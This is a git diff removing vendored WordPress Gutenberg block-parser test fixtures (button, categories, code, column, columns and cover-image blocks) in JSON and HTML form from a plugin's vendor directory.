7334b3f4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/button", - "isValid": true, - "attributes": { - "url": "https://github.com/WordPress/gutenberg", - "text": "Help build Gutenberg", - "align": "center" - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.parsed.json deleted file mode 100644 index 352767e1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.parsed.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "blockName": "core/button", - "attrs": { - "align": "center" - }, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ "\n\n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.serialized.html deleted file mode 100644 index 3d88c7ec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.server.html deleted file mode 100644 index bbeb7ee0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__button__center.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.html deleted file mode 100644 index 89dd1be4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.json deleted file mode 100644 index 18375cfe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/categories", - "isValid": true, - "attributes": { - "displayAsDropdown": false, - "showHierarchy": false, - "showPostCounts": false - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.parsed.json deleted file mode 100644 index 60d03d7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.parsed.json +++ /dev/null @@ -1,20 +0,0 @@ -[ - { - "blockName": "core/categories", - "attrs": { - "showPostCounts": false, - "displayAsDropdown": false, - "showHierarchy": false - }, - "innerBlocks": [], - "innerHTML": "", - "innerContent": [] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.serialized.html deleted file mode 100644 index 7816d6b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.serialized.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.server.html deleted file mode 100644 index f073f8f5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__categories.server.html +++ /dev/null @@ -1 +0,0 @@ -
      • No categories
      diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.html deleted file mode 100644 index 5d3f951c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      export default function MyButton() {
      -	return <Button>Click Me!</Button>;
      -}
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.json deleted file mode 100644 index 09580257..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/code", - "isValid": true, - "attributes": { - "content": "export default function MyButton() {\n\treturn ;\n}" - }, - "innerBlocks": [], - "originalContent": "
      export default function MyButton() {\n\treturn <Button>Click Me!</Button>;\n}
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.parsed.json deleted file mode 100644 index d9bf0a21..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/code", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
      export default function MyButton() {\n\treturn <Button>Click Me!</Button>;\n}
      \n", - "innerContent": [ "\n
      export default function MyButton() {\n\treturn <Button>Click Me!</Button>;\n}
      \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.serialized.html deleted file mode 100644 index 651254a7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      export default function MyButton() {
      -	return <Button>Click Me!</Button>;
      -}
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.server.html deleted file mode 100644 index 3f7d5f37..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__code.server.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      export default function MyButton() {
      -	return <Button>Click Me!</Button>;
      -}
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.html deleted file mode 100644 index a18d2ee3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.html +++ /dev/null @@ -1,10 +0,0 @@ - -
      - -

      Column One, Paragraph One

      - - -

      Column One, Paragraph Two

      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.json deleted file mode 100644 index aabfc103..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.json +++ /dev/null @@ -1,33 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/column", - "isValid": true, - "attributes": {}, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column One, Paragraph One", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

      Column One, Paragraph One

      " - }, - { - "clientId": "_clientId_1", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column One, Paragraph Two", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

      Column One, Paragraph Two

      " - } - ], - "originalContent": "
      \n\t\n\t\n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.parsed.json deleted file mode 100644 index 10f1e1a0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.parsed.json +++ /dev/null @@ -1,31 +0,0 @@ -[ - { - "blockName": "core/column", - "attrs": {}, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\t

      Column One, Paragraph One

      \n\t", - "innerContent": [ "\n\t

      Column One, Paragraph One

      \n\t" ] - }, - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\t

      Column One, Paragraph Two

      \n\t", - "innerContent": [ "\n\t

      Column One, Paragraph Two

      \n\t" ] - } - ], - "innerHTML": "\n
      \n\t\n\t\n
      \n", - "innerContent": [ "\n
      \n\t", null, "\n\t", null, "\n
      \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.serialized.html deleted file mode 100644 index 5d7839c4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.serialized.html +++ /dev/null @@ -1,9 +0,0 @@ - -
      -

      Column One, Paragraph One

      - - - -

      Column One, Paragraph Two

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.server.html deleted file mode 100644 index d0b6ab40..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__column.server.html +++ /dev/null @@ -1,10 +0,0 @@ - -
      - -

      Column One, Paragraph One

      - - -

      Column One, Paragraph Two

      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.html deleted file mode 100644 index bcced4e7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.html +++ /dev/null @@ -1,24 +0,0 @@ - -
      - -
      - -

      Column One, Paragraph One

      - - -

      Column One, Paragraph Two

      - -
      - - -
      - -

      Column Two, Paragraph One

      - - -

      Column Three, Paragraph One

      - -
      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.json deleted file mode 100644 index 2a446b72..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.json +++ /dev/null @@ -1,75 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/columns", - "isValid": true, - "attributes": { - "columns": 3 - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/column", - "isValid": true, - "attributes": {}, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column One, Paragraph One", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

      Column One, Paragraph One

      " - }, - { - "clientId": "_clientId_1", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column One, Paragraph Two", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

      Column One, Paragraph Two

      " - } - ], - "originalContent": "
      \n\t\t\n\t\t\n\t
      " - }, - { - "clientId": "_clientId_1", - "name": "core/column", - "isValid": true, - "attributes": {}, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column Two, Paragraph One", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

      Column Two, Paragraph One

      " - }, - { - "clientId": "_clientId_1", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column Three, Paragraph One", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

      Column Three, Paragraph One

      " - } - ], - "originalContent": "
      \n\t\t\n\t\t\n\t
      " - } - ], - "originalContent": "
      \n\t\n\t\n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.parsed.json deleted file mode 100644 index 7dbde278..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.parsed.json +++ /dev/null @@ -1,91 +0,0 @@ -[ - { - "blockName": "core/columns", - "attrs": { - "columns": 3 - }, - "innerBlocks": [ - { - "blockName": "core/column", - "attrs": {}, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\t\t

      Column One, Paragraph One

      \n\t\t", - "innerContent": [ - "\n\t\t

      Column One, Paragraph One

      \n\t\t" - ] - }, - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\t\t

      Column One, Paragraph Two

      \n\t\t", - "innerContent": [ - "\n\t\t

      Column One, Paragraph Two

      \n\t\t" - ] - } - ], - "innerHTML": "\n\t
      \n\t\t\n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t", - null, - "\n\t\t", - null, - "\n\t
      \n\t" - ] - }, - { - "blockName": "core/column", - "attrs": {}, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\t\t

      Column Two, Paragraph One

      \n\t\t", - "innerContent": [ - "\n\t\t

      Column Two, Paragraph One

      \n\t\t" - ] - }, - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\t\t

      Column Three, Paragraph One

      \n\t\t", - "innerContent": [ - "\n\t\t

      Column Three, Paragraph One

      \n\t\t" - ] - } - ], - "innerHTML": "\n\t
      \n\t\t\n\t\t\n\t
      \n\t", - "innerContent": [ - "\n\t
      \n\t\t", - null, - "\n\t\t", - null, - "\n\t
      \n\t" - ] - } - ], - "innerHTML": "\n
      \n\t\n\t\n
      \n", - "innerContent": [ - "\n
      \n\t", - null, - "\n\t", - null, - "\n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.serialized.html deleted file mode 100644 index b7472ac0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.serialized.html +++ /dev/null @@ -1,21 +0,0 @@ - -
      -
      -

      Column One, Paragraph One

      - - - -

      Column One, Paragraph Two

      -
      - - - -
      -

      Column Two, Paragraph One

      - - - -

      Column Three, Paragraph One

      -
      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.server.html deleted file mode 100644 index e35ab276..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns.server.html +++ /dev/null @@ -1,24 +0,0 @@ - -
      - -
      - -

      Column One, Paragraph One

      - - -

      Column One, Paragraph Two

      - -
      - - -
      - -

      Column Two, Paragraph One

      - - -

      Column Three, Paragraph One

      - -
      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.html deleted file mode 100644 index ae96a2e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.html +++ /dev/null @@ -1,16 +0,0 @@ - -
      - -

      Column One, Paragraph One

      - - -

      Column One, Paragraph Two

      - - -

      Column Two, Paragraph One

      - - -

      Column Three, Paragraph One

      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.json deleted file mode 100644 index 6993fb5d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.json +++ /dev/null @@ -1,85 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/columns", - "isValid": true, - "attributes": { - "columns": 3 - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/column", - "isValid": true, - "attributes": {}, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column One, Paragraph One", - "dropCap": false, - "className": "layout-column-1" - }, - "innerBlocks": [], - "originalContent": "

      Column One, Paragraph One

      " - }, - { - "clientId": "_clientId_1", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column One, Paragraph Two", - "dropCap": false, - "className": "layout-column-1" - }, - "innerBlocks": [], - "originalContent": "

      Column One, Paragraph Two

      " - } - ] - }, - { - "clientId": "_clientId_1", - "name": "core/column", - "isValid": true, - "attributes": {}, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column Two, Paragraph One", - "dropCap": false, - "className": "layout-column-2" - }, - "innerBlocks": [], - "originalContent": "

      Column Two, Paragraph One

      " - } - ] - }, - { - "clientId": "_clientId_2", - "name": "core/column", - "isValid": true, - "attributes": {}, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Column Three, Paragraph One", - "dropCap": false, - "className": "layout-column-3" - }, - "innerBlocks": [], - "originalContent": "

      Column Three, Paragraph One

      " - } - ] - } - ], - "originalContent": "
      \n\t\n\t\n\t\n\t\n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json deleted file mode 100644 index 6bb604b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.parsed.json +++ /dev/null @@ -1,75 +0,0 @@ -[ - { - "blockName": "core/columns", - "attrs": { - "columns": 3 - }, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": { - "layout": "column-1" - }, - "innerBlocks": [], - "innerHTML": "\n\t

      Column One, Paragraph One

      \n\t", - "innerContent": [ - "\n\t

      Column One, Paragraph One

      \n\t" - ] - }, - { - "blockName": "core/paragraph", - "attrs": { - "layout": "column-1" - }, - "innerBlocks": [], - "innerHTML": "\n\t

      Column One, Paragraph Two

      \n\t", - "innerContent": [ - "\n\t

      Column One, Paragraph Two

      \n\t" - ] - }, - { - "blockName": "core/paragraph", - "attrs": { - "layout": "column-2" - }, - "innerBlocks": [], - "innerHTML": "\n\t

      Column Two, Paragraph One

      \n\t", - "innerContent": [ - "\n\t

      Column Two, Paragraph One

      \n\t" - ] - }, - { - "blockName": "core/paragraph", - "attrs": { - "layout": "column-3" - }, - "innerBlocks": [], - "innerHTML": "\n\t

      Column Three, Paragraph One

      \n\t", - "innerContent": [ - "\n\t

      Column Three, Paragraph One

      \n\t" - ] - } - ], - "innerHTML": "\n
      \n\t\n\t\n\t\n\t\n
      \n", - "innerContent": [ - "\n
      \n\t", - null, - "\n\t", - null, - "\n\t", - null, - "\n\t", - null, - "\n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html deleted file mode 100644 index 88041c92..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.serialized.html +++ /dev/null @@ -1,23 +0,0 @@ - -
      -
      -

      Column One, Paragraph One

      - - - -

      Column One, Paragraph Two

      -
      - - - -
      -

      Column Two, Paragraph One

      -
      - - - -
      -

      Column Three, Paragraph One

      -
      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.server.html deleted file mode 100644 index c61aabf6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__columns__deprecated.server.html +++ /dev/null @@ -1,16 +0,0 @@ - -
      - -

      Column One, Paragraph One

      - - -

      Column One, Paragraph Two

      - - -

      Column Two, Paragraph One

      - - -

      Column Three, Paragraph One

      - -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.html deleted file mode 100644 index 86b59157..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      -

      Guten Berg!

      -
      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.json deleted file mode 100644 index 342a160d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/cover-image", - "isValid": true, - "attributes": { - "title": "Guten Berg!", - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "contentAlign": "center", - "hasParallax": false, - "dimRatio": 40 - }, - "innerBlocks": [], - "originalContent": "
      \n

      Guten Berg!

      \n
      " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.parsed.json deleted file mode 100644 index 7d8b68a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.parsed.json +++ /dev/null @@ -1,23 +0,0 @@ -[ - { - "blockName": "core/cover-image", - "attrs": { - "url": "https://cldup.com/uuUqE_dXzy.jpg", - "dimRatio": 40 - }, - "innerBlocks": [], - "innerHTML": "\n
      \n

      Guten Berg!

      \n
      \n", - "innerContent": [ - "\n
      \n

      Guten Berg!

      \n
      \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.serialized.html deleted file mode 100644 index d64692d6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

      Guten Berg!

      - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.server.html deleted file mode 100644 index e9d6aca0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__cover-image.server.html +++ /dev/null @@ -1,5 +0,0 @@ - -
      -

      Guten Berg!

      -
